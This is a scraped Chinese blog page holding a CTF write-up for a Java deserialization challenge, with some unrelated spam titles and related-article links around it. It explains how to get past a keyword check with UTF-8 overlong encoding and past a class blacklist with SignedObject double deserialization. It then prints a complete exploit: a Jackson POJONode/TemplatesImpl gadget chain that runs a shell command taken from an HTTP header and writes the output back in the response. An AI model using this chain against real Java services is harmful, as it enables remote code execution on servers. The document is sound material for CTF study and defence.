当前位置: 首页 > news >正文

哪个网站做攻略比较好品牌vi设计案例欣赏ppt

哪个网站做攻略比较好,品牌vi设计案例欣赏ppt,网站后台更新图片,wordpress主题破解第一次自己做出一个java,值得小小的记录,polar的java真得非常友好 反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后 经过一次kmp检查,再由SafeObjectInputStream来反序列…

第一次自己做出一个java,值得小小的记录,polar的java真得非常友好
反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后
经过一次kmp检查,再由SafeObjectInputStream来反序列化
看pom.xml里没有别的依赖,那就是打spring原生的jackson反序列化,思考如何绕过
大佬讲解jackson反序列化的文章
https://xz.aliyun.com/news/12412

kmp_check

kmp顾名思义就是对序列化字符串明文的检查,这个很容易绕,直接utf-8 overlong encoding就行
大佬实现的文章
探索Java反序列化绕WAF新姿势 - 飞书云文档 (feishu.cn)

SafeObjectInputStream_check

然后是SafeObjectInputStream,黑名单

private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));

把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException没了,换成EventListenerList即可

需要注意的是,signObject里的序列化数据也要用utf-8 overlong,不只是signObject,在这里卡了好一会,
如何设置呢?看signObject里触发二次反序列化的地方
在这里插入图片描述

就可以知道序列化数据是this.content,可以反射赋值,是private的,先setAccesible就行
还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题
polar的靶场不出网,打springecho
exp

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;
import java.net.URLEncoder;
public class SignedObjectChain {public static void main(String[] args) throws Exception {// 设置signobject内的反序列化TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{genPayload()});setFieldValue(templatesImpl, "_name", "hello");setFieldValue(templatesImpl, "_tfactory", null);//JdkDynamicAopProxy 动态代理 使链子稳定Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);POJONode jsonNodes2 = new POJONode(proxyObj);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);setFieldValue(exp,"val",jsonNodes2);KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(1,privateKey,signingEngine);//反射设置序列化数据ByteArrayOutputStream b = new ByteArrayOutputStream();ObjectOutput a = new CustomObjectOutputStream(b);a.writeObject(exp);a.flush();a.close();setFieldValue(signedObject,"content",b.toByteArray());//接上EventListenerListPOJONode jsonNodes = new POJONode(signedObject);EventListenerList list = new EventListenerList();UndoManager manager = new UndoManager();Vector vector = (Vector) getFieldValue(manager, "edits");vector.add(jsonNodes);setFieldValue(list, "listenerList", new Object[]{Map.class, manager});if(new Checker().KmpCheck(Base64.getDecoder().decode(serial(list)))){System.out.println("No");}System.out.println( URLEncoder.encode(serial(list)));
//        deserial(serial(list));}public static byte[] get_calc() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);return ctClass.toBytecode();}public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {Class clazz = obj.getClass();while (clazz != null) {try {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);return field.get(obj);} catch (Exception e) {clazz = clazz.getSuperclass();}}return null;}public static byte[] genPayload() throws Exception{ClassPool classPool = ClassPool.getDefault();CtClass clazz = classPool.makeClass("A");if ((clazz.getDeclaredConstructors()).length != 0) {clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);}        clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +"                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +"                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +"                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +"                String[] cmd =  new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +"                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +"                httpresponse.getWriter().write(new String(result));\n" +"                httpresponse.getWriter().flush();\n" +"                httpresponse.getWriter().close();\n" +"        }", clazz));clazz.getClassFile().setMajorVersion(50);CtClass superClass = classPool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);return clazz.toBytecode();}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();CustomObjectOutputStream coos = new CustomObjectOutputStream(baos);coos.writeObject(o);String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return(base64String);}public static void deserial(String data) throws Exception {byte[] base64decodedBytes = Base64.getDecoder().decode(data);ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();}private static void Base64Encode(ByteArrayOutputStream bs){byte[] encode = Base64.getEncoder().encode(bs.toByteArray());String s = new String(encode);System.out.println(s);System.out.println(s.length());}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}

在这里插入图片描述

http://www.dtcms.com/a/609748.html

相关文章:

  • 珠海市网站建设企业网站编辑给续南明做的封面
  • 国产化Excel开发组件Spire.XLS教程:Python将列表导出为CSV文件(含一维/二维/字典列表)
  • 接口自动化测试框架实战(Pytest+Allure+Excel)
  • 苹果质量检测与分类 - YOLO13结合RFCAConv实现
  • YZ系列工具之YZ09: VBA_Excel之读心术
  • 三芯联动:“通信 + 供电 + 主控”的安全闭环与场景革命
  • EXCEL 数字编码化排序(如部门层级排序)
  • sse,短轮询,长轮询,webSocket
  • 芦笋嫩茎形态分类与识别_YOLO11-C3k2-MambaOut-SFSC模型实现_1
  • 昆明专业网站营销北京工程建设交易平台
  • 衡阳网站搜索引擎优化wordpress如何设水印图片
  • 对Docker部署的MySQL中的数据进行备份恢复
  • AI 时代企业新形态:超级个体与多智能体
  • 夜场酒吧娱乐ktv类企业网站源码网上花店网页制作素材
  • wordpress 微博链接地址南京百度网站快速优化
  • 新操作系统
  • 电商网站html模板介绍公司的简介范文
  • 卡索(CASO)汽车调查:数据智能时代,汽车产业竞争格局与战略升维路径探析
  • 新能源汽车电源环路设计:从PID补偿到数字化控制的落地实践
  • BERT 完整教程指南
  • 陆丰网站宁波微网站建设
  • 如何利用技术手段来甄选一套档案馆库房安全温湿度监控系统
  • undefined symbol: _ZN3c104cuda9SetDeviceEab
  • 工业 4.0 微观基石:整列机赋能精密零件整列,筑牢无人工厂根基
  • EG1164 DC-DC升压型同步整流电源芯片技术解析
  • 【Spring Cloud 整合Nacos和Seata实现分布式事务】
  • LeetCode hot100:4.寻找两个正序数组的中位数 题解分析
  • 邦邻营销型网站建设运城建设银行网站
  • docker(25) : 银河麒麟 V10离线安装docker
  • mysql 网站空间壹淘购返利网